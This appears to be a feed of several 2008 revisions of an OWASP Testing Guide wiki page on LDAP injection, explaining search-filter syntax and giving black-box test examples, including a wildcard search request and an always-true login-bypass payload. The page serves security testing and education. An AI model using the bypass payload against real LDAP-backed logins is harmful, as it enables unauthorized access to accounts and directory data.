If the application is vulnerable to LDAP injection, it will display some or all of the users attributes, depending on the application's execution flow and the permissions of the LDAP connected user,&lt;br /&gt;
&lt;br /&gt;
A tester could use a trial-and-error approach, by inserting in the parameter&lt;br /&gt;
'(', '|', '&amp;amp;', '*' and the other characters, in order to check &lt;br /&gt;
the application for errors.&lt;br /&gt;
&lt;br /&gt;
=== Example 2. Login ===&lt;br /&gt;
&lt;br /&gt;
If a web application uses LDAP to check user credentials during the login process and it is vulnerable to LDAP injection,, it is possible to bypass the authentication check by injecting an always true LDAP query (in a similar way to SQL&lt;br /&gt;
and XPATH injection ).&lt;br /&gt;
&lt;br /&gt;
Let's suppose a web application uses a filter to match LDAP user/password pair.&lt;br /&gt;
&lt;br /&gt;
searchlogin= &amp;quot;(&amp;amp;(uid=&amp;quot;+user+&amp;quot;)(userPassword={MD5}&amp;quot;+base64(pack(&amp;quot;H*&amp;quot;,md5(pass)))+&amp;quot;))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
By using the following values:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;user=*)(uid=*))(|(uid=*&lt;br /&gt;
 pass=password&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the search filter will results in:&lt;br /&gt;
&lt;br /&gt;
 searchlogin=&amp;quot;(&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
which is correct and always true. &lt;br /&gt;
This way, the tester will gain logged-in status as the first user in LDAP three.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sacha Faust: &amp;quot;LDAP Injection&amp;quot; - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;RFC 1960&amp;lt;/nowiki&amp;gt;: &amp;quot;A String Representation of LDAP Search Filters&amp;quot; - http://www.ietf.org/rfc/rfc1960.txt&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Greenblatt: &amp;quot;LDAP Overview&amp;quot; - http://www.directory-applications.com/ldap3_files/frame.htm&amp;lt;br&amp;gt;&lt;br /&gt;
IBM paper: &amp;quot;Understanding LDAP&amp;quot; - http://www.redbooks.ibm.com/redbooks/SG244986.html &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36969</id>
		<title>Testing for LDAP Injection (OTG-INPVAL-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36969"/>
				<updated>2008-08-22T23:25:52Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Example 1. Search Filters */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary ==&lt;br /&gt;
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.&lt;br /&gt;
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted.&amp;lt;br&amp;gt;&lt;br /&gt;
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue  == &lt;br /&gt;
&lt;br /&gt;
A web application could use LDAP in order to let users authenticate or search other users information&lt;br /&gt;
inside a corporate structure.&lt;br /&gt;
&lt;br /&gt;
The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.&lt;br /&gt;
&lt;br /&gt;
[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]&lt;br /&gt;
defines a grammar on how to build a search filter on LDAPv3 and&lt;br /&gt;
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).&lt;br /&gt;
&lt;br /&gt;
An LDAP search filter is constructed in  Polish notation, &lt;br /&gt;
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].&lt;br /&gt;
&lt;br /&gt;
This means that a pseudo code condition on a search filter like this:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;cn=John &amp;amp; userPassword=mypass&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
will be represented as:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;(&amp;amp;(cn=John)(userPassword=mypass))&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Boolean conditions and group aggregations on an &lt;br /&gt;
LDAP search filter could be applied by using &lt;br /&gt;
the following metacharacters:&lt;br /&gt;
{| border=1&lt;br /&gt;
|| '''Metachar''' || '''Meaning'''&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;amp; || Boolean AND &lt;br /&gt;
|-&lt;br /&gt;
||   | || Boolean OR&lt;br /&gt;
|-&lt;br /&gt;
||  ! || Boolean NOT&lt;br /&gt;
|-&lt;br /&gt;
||   = || Equals &lt;br /&gt;
|-&lt;br /&gt;
||   ~= || Approx&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;gt;= || Greater than&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;lt;= || Less than&lt;br /&gt;
|-&lt;br /&gt;
||   *  || Any character&lt;br /&gt;
|-&lt;br /&gt;
||   () || Grouping parenthesis&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
More complete examples on how to build a search filter can be&lt;br /&gt;
found in the related RFC.&lt;br /&gt;
&lt;br /&gt;
A successful exploitation of an LDAP injection vulnerability could allow the tester to:&lt;br /&gt;
&lt;br /&gt;
* Access unauthorized content&lt;br /&gt;
* Evade Application restrictions&lt;br /&gt;
* Gather unauthorized informations&lt;br /&gt;
* Add or modify Objects inside LDAP tree structure.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 1. Search Filters ===&lt;br /&gt;
&lt;br /&gt;
Let's suppose we have a web application using a search&lt;br /&gt;
filter like the following one:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=&amp;quot;+user+&amp;quot;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which is instantiated by an HTTP request like this:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=John&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the value 'John' is replaced with a '*',&lt;br /&gt;
by sending the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the filter will look like:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=*)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which matches every object with a 'cn' attribute equals to anything.&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable to LDAP injection, it will display some or all of the users attributes, depending on the application's execution flow and the permissions of the LDAP connected user,&lt;br /&gt;
&lt;br /&gt;
A tester could use a trial-and-error approach, by inserting in the parameter&lt;br /&gt;
'(', '|', '&amp;amp;', '*' and the other characters, in order to check &lt;br /&gt;
the application for errors.&lt;br /&gt;
&lt;br /&gt;
=== Example 2. Login ===&lt;br /&gt;
&lt;br /&gt;
If a web application uses a vulnerable login page with LDAP query for &lt;br /&gt;
user credentials, it is possible to bypass the check for user/password &lt;br /&gt;
presence by injecting an always true LDAP query (in a similar way to SQL&lt;br /&gt;
and XPATH injection ).&lt;br /&gt;
&lt;br /&gt;
Let's suppose a web application uses a filter to match LDAP user/password pair.&lt;br /&gt;
&lt;br /&gt;
searchlogin= &amp;quot;(&amp;amp;(uid=&amp;quot;+user+&amp;quot;)(userPassword={MD5}&amp;quot;+base64(pack(&amp;quot;H*&amp;quot;,md5(pass)))+&amp;quot;))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
By using the following values:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;user=*)(uid=*))(|(uid=*&lt;br /&gt;
 pass=password&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the search filter will results in:&lt;br /&gt;
&lt;br /&gt;
 searchlogin=&amp;quot;(&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
which is correct and always true. &lt;br /&gt;
This way the tester will gain logged-in status as the first user in LDAP three.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sacha Faust: &amp;quot;LDAP Injection&amp;quot; - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;RFC 1960&amp;lt;/nowiki&amp;gt;: &amp;quot;A String Representation of LDAP Search Filters&amp;quot; - http://www.ietf.org/rfc/rfc1960.txt&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Greenblatt: &amp;quot;LDAP Overview&amp;quot; - http://www.directory-applications.com/ldap3_files/frame.htm&amp;lt;br&amp;gt;&lt;br /&gt;
IBM paper: &amp;quot;Understanding LDAP&amp;quot; - http://www.redbooks.ibm.com/redbooks/SG244986.html &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36968</id>
		<title>Testing for LDAP Injection (OTG-INPVAL-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36968"/>
				<updated>2008-08-22T23:21:55Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary ==&lt;br /&gt;
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.&lt;br /&gt;
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted.&amp;lt;br&amp;gt;&lt;br /&gt;
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue  == &lt;br /&gt;
&lt;br /&gt;
A web application could use LDAP in order to let users authenticate or search other users information&lt;br /&gt;
inside a corporate structure.&lt;br /&gt;
&lt;br /&gt;
The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.&lt;br /&gt;
&lt;br /&gt;
[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]&lt;br /&gt;
defines a grammar on how to build a search filter on LDAPv3 and&lt;br /&gt;
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).&lt;br /&gt;
&lt;br /&gt;
An LDAP search filter is constructed in  Polish notation, &lt;br /&gt;
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].&lt;br /&gt;
&lt;br /&gt;
This means that a pseudo code condition on a search filter like this:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;cn=John &amp;amp; userPassword=mypass&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
will be represented as:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;(&amp;amp;(cn=John)(userPassword=mypass))&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Boolean conditions and group aggregations on an &lt;br /&gt;
LDAP search filter could be applied by using &lt;br /&gt;
the following metacharacters:&lt;br /&gt;
{| border=1&lt;br /&gt;
|| '''Metachar''' || '''Meaning'''&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;amp; || Boolean AND &lt;br /&gt;
|-&lt;br /&gt;
||   | || Boolean OR&lt;br /&gt;
|-&lt;br /&gt;
||  ! || Boolean NOT&lt;br /&gt;
|-&lt;br /&gt;
||   = || Equals &lt;br /&gt;
|-&lt;br /&gt;
||   ~= || Approx&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;gt;= || Greater than&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;lt;= || Less than&lt;br /&gt;
|-&lt;br /&gt;
||   *  || Any character&lt;br /&gt;
|-&lt;br /&gt;
||   () || Grouping parenthesis&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
More complete examples on how to build a search filter can be&lt;br /&gt;
found in the related RFC.&lt;br /&gt;
&lt;br /&gt;
A successful exploitation of an LDAP injection vulnerability could allow the tester to:&lt;br /&gt;
&lt;br /&gt;
* Access unauthorized content&lt;br /&gt;
* Evade Application restrictions&lt;br /&gt;
* Gather unauthorized informations&lt;br /&gt;
* Add or modify Objects inside LDAP tree structure.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 1. Search Filters ===&lt;br /&gt;
&lt;br /&gt;
Let's suppose we have web application using a search&lt;br /&gt;
filter like the following one:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=&amp;quot;+user+&amp;quot;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which is instantiated by an HTTP request like this:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=John&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If 'John' value is replaced with a '*',&lt;br /&gt;
by sending the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the filter will look like:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=*)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which means every object with a 'cn' attribute equals to anything.&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable to LDAP injection &lt;br /&gt;
depending on LDAP connected user permissions and application execution&lt;br /&gt;
flow it will be displayed some or all of users attributes.&lt;br /&gt;
&lt;br /&gt;
A tester could use trial and error approach by inserting&lt;br /&gt;
'(', '|', '&amp;amp;', '*' and the other characters in order to check &lt;br /&gt;
the application for errors.&lt;br /&gt;
&lt;br /&gt;
=== Example 2. Login ===&lt;br /&gt;
&lt;br /&gt;
If a web application uses a vulnerable login page with LDAP query for &lt;br /&gt;
user credentials, it is possible to bypass the check for user/password &lt;br /&gt;
presence by injecting an always true LDAP query (in a similar way to SQL&lt;br /&gt;
and XPATH injection ).&lt;br /&gt;
&lt;br /&gt;
Let's suppose a web application uses a filter to match LDAP user/password pair.&lt;br /&gt;
&lt;br /&gt;
searchlogin= &amp;quot;(&amp;amp;(uid=&amp;quot;+user+&amp;quot;)(userPassword={MD5}&amp;quot;+base64(pack(&amp;quot;H*&amp;quot;,md5(pass)))+&amp;quot;))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
By using the following values:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;user=*)(uid=*))(|(uid=*&lt;br /&gt;
 pass=password&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the search filter will results in:&lt;br /&gt;
&lt;br /&gt;
 searchlogin=&amp;quot;(&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
which is correct and always true. &lt;br /&gt;
This way the tester will gain logged-in status as the first user in LDAP three.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sacha Faust: &amp;quot;LDAP Injection&amp;quot; - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;RFC 1960&amp;lt;/nowiki&amp;gt;: &amp;quot;A String Representation of LDAP Search Filters&amp;quot; - http://www.ietf.org/rfc/rfc1960.txt&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Greenblatt: &amp;quot;LDAP Overview&amp;quot; - http://www.directory-applications.com/ldap3_files/frame.htm&amp;lt;br&amp;gt;&lt;br /&gt;
IBM paper: &amp;quot;Understanding LDAP&amp;quot; - http://www.redbooks.ibm.com/redbooks/SG244986.html &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36967</id>
		<title>Testing for LDAP Injection (OTG-INPVAL-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36967"/>
				<updated>2008-08-22T23:20:30Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary ==&lt;br /&gt;
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.&lt;br /&gt;
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted.&amp;lt;br&amp;gt;&lt;br /&gt;
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue  == &lt;br /&gt;
&lt;br /&gt;
A web application could use LDAP in order to let users authenticate or search other users information&lt;br /&gt;
inside a corporate structure.&lt;br /&gt;
&lt;br /&gt;
The goal of LDAP injection attacks is to inject LDAP search filters metacharacters in a query which will be executed by the application.&lt;br /&gt;
&lt;br /&gt;
[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]&lt;br /&gt;
defines a grammar on how to build a search filter on LDAPv3 and&lt;br /&gt;
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).&lt;br /&gt;
&lt;br /&gt;
An LDAP search filter is constructed in  Polish notation, &lt;br /&gt;
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].&lt;br /&gt;
&lt;br /&gt;
This means that a pseudo code condition on a search filter like this:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;cn=John &amp;amp; userPassword=mypass&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
will be represented as:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;(&amp;amp;(cn=John)(userPassword=mypass))&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Boolean conditions and group aggregations on an &lt;br /&gt;
LDAP search filter could be applied by using &lt;br /&gt;
the following metacharacters:&lt;br /&gt;
{| border=1&lt;br /&gt;
|| '''Metachar''' || '''Meaning'''&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;amp; || Boolean AND &lt;br /&gt;
|-&lt;br /&gt;
||   | || Boolean OR&lt;br /&gt;
|-&lt;br /&gt;
||  ! || Boolean NOT&lt;br /&gt;
|-&lt;br /&gt;
||   = || Equals &lt;br /&gt;
|-&lt;br /&gt;
||   ~= || Approx&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;gt;= || Greater than&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;lt;= || Lesser than&lt;br /&gt;
|-&lt;br /&gt;
||   *  || Any character&lt;br /&gt;
|-&lt;br /&gt;
||   () || Grouping parenthesis&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
More complete examples on how to build a search filter can be&lt;br /&gt;
found in the related RFC.&lt;br /&gt;
&lt;br /&gt;
A successful exploitation of an LDAP injection vulnerability could allow the tester to:&lt;br /&gt;
&lt;br /&gt;
* Access unauthorized content&lt;br /&gt;
* Evade Application restrictions&lt;br /&gt;
* Gather unauthorized informations&lt;br /&gt;
* Add or modify Objects inside LDAP tree structure.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Example 1. Search Filters ===&lt;br /&gt;
&lt;br /&gt;
Let's suppose we have web application using a search&lt;br /&gt;
filter like the following one:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=&amp;quot;+user+&amp;quot;)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which is instantiated by an HTTP request like this:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=John&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If 'John' value is replaced with a '*',&lt;br /&gt;
by sending the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/ldapsearch?user=*&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the filter will look like:&lt;br /&gt;
&lt;br /&gt;
 searchfilter=&amp;quot;(cn=*)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
which means every object with a 'cn' attribute equals to anything.&lt;br /&gt;
&lt;br /&gt;
If the application is vulnerable to LDAP injection &lt;br /&gt;
depending on LDAP connected user permissions and application execution&lt;br /&gt;
flow it will be displayed some or all of users attributes.&lt;br /&gt;
&lt;br /&gt;
A tester could use trial and error approach by inserting&lt;br /&gt;
'(', '|', '&amp;amp;', '*' and the other characters in order to check &lt;br /&gt;
the application for errors.&lt;br /&gt;
&lt;br /&gt;
=== Example 2. Login ===&lt;br /&gt;
&lt;br /&gt;
If a web application uses a vulnerable login page with LDAP query for &lt;br /&gt;
user credentials, it is possible to bypass the check for user/password &lt;br /&gt;
presence by injecting an always true LDAP query (in a similar way to SQL&lt;br /&gt;
and XPATH injection ).&lt;br /&gt;
&lt;br /&gt;
Let's suppose a web application uses a filter to match LDAP user/password pair.&lt;br /&gt;
&lt;br /&gt;
searchlogin= &amp;quot;(&amp;amp;(uid=&amp;quot;+user+&amp;quot;)(userPassword={MD5}&amp;quot;+base64(pack(&amp;quot;H*&amp;quot;,md5(pass)))+&amp;quot;))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
By using the following values:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;user=*)(uid=*))(|(uid=*&lt;br /&gt;
 pass=password&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
the search filter will results in:&lt;br /&gt;
&lt;br /&gt;
 searchlogin=&amp;quot;(&amp;amp;(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
which is correct and always true. &lt;br /&gt;
This way the tester will gain logged-in status as the first user in LDAP three.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
Sacha Faust: &amp;quot;LDAP Injection&amp;quot; - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;RFC 1960&amp;lt;/nowiki&amp;gt;: &amp;quot;A String Representation of LDAP Search Filters&amp;quot; - http://www.ietf.org/rfc/rfc1960.txt&amp;lt;br&amp;gt;&lt;br /&gt;
Bruce Greenblatt: &amp;quot;LDAP Overview&amp;quot; - http://www.directory-applications.com/ldap3_files/frame.htm&amp;lt;br&amp;gt;&lt;br /&gt;
IBM paper: &amp;quot;Understanding LDAP&amp;quot; - http://www.redbooks.ibm.com/redbooks/SG244986.html &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Marco</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36966</id>
		<title>Testing for LDAP Injection (OTG-INPVAL-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_LDAP_Injection_(OTG-INPVAL-006)&amp;diff=36966"/>
				<updated>2008-08-22T23:16:13Z</updated>
		
		<summary type="html">&lt;p&gt;Marco: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
==  Brief Summary ==&lt;br /&gt;
LDAP is an acronym for Lightweight Directory Access Protocol. LDAP is a protocol to store information about users, hosts, and many other objects.&lt;br /&gt;
LDAP Injection is a server side attack, which could allow sensitive information about users and hosts represented in an LDAP structure to be disclosed, modified, or inserted.&amp;lt;br&amp;gt;&lt;br /&gt;
This is done by manipulating input parameters afterwards passed to internal search, add and modify functions.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue  == &lt;br /&gt;
&lt;br /&gt;
A web application could use LDAP in order to let a user to&lt;br /&gt;
login with his own credentials or search other users informations&lt;br /&gt;
inside a corporate structure.&lt;br /&gt;
&lt;br /&gt;
The primary concept on LDAP Injection is that in occurrence of&lt;br /&gt;
an LDAP query during execution flow, &lt;br /&gt;
it is possible to fool a vulnerable web application by using &lt;br /&gt;
LDAP Search Filters metacharacters.&lt;br /&gt;
&lt;br /&gt;
[[http://www.ietf.org/rfc/rfc2254.txt Rfc2254]]&lt;br /&gt;
defines a grammar on how to build a search filter on LDAPv3 and&lt;br /&gt;
extends [[http://www.ietf.org/rfc/rfc1960.txt Rfc1960]] (LDAPv2).&lt;br /&gt;
&lt;br /&gt;
A LDAP search filter is constructed in  Polish notation, &lt;br /&gt;
also known as [[http://en.wikipedia.org/wiki/Polish_notation prefix notation]].&lt;br /&gt;
&lt;br /&gt;
This means that a pseudo code condition on a search filter like this:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;cn=John &amp;amp; userPassword=mypass&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
will result in:&lt;br /&gt;
&lt;br /&gt;
 find(&amp;quot;(&amp;amp;(cn=John)(userPassword=mypass))&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
Boolean conditions and group aggregations on an &lt;br /&gt;
LDAP search filter could be applied by using &lt;br /&gt;
the following metacharacters:&lt;br /&gt;
{| border=1&lt;br /&gt;
|| '''Metachar''' || '''Meaning'''&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;amp; || Boolean AND &lt;br /&gt;
|-&lt;br /&gt;
||   | || Boolean OR&lt;br /&gt;
|-&lt;br /&gt;
||  ! || Boolean NOT&lt;br /&gt;
|-&lt;br /&gt;
||   = || Equals &lt;br /&gt;
|-&lt;br /&gt;
||   ~= || Approx&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;gt;= || Greater than&lt;br /&gt;
|-&lt;br /&gt;
||   &amp;lt;= || Lesser than&lt;br /&gt;
|-&lt;br /&gt;
||   *  || Any character&lt;br /&gt;
|-&lt;br /&gt;
||   () || Grouping parenthesis&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
More complete examples on how to build a search filter could be&lt;br /&gt;
found in related RFC.&lt;br /&gt;
&lt;br /&gt;
A successful exploitation of LDAP Injection could allow the tester to:&lt;br /&gt;
&lt;br /&gt;
* Access unauthorized content&lt;br /&gt;
* Evade Application restrictions&lt;br /&gt;
* Gather unauthorized informations&lt;br /&gt;
* Add or modify Objects inside LDAP tree structure.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
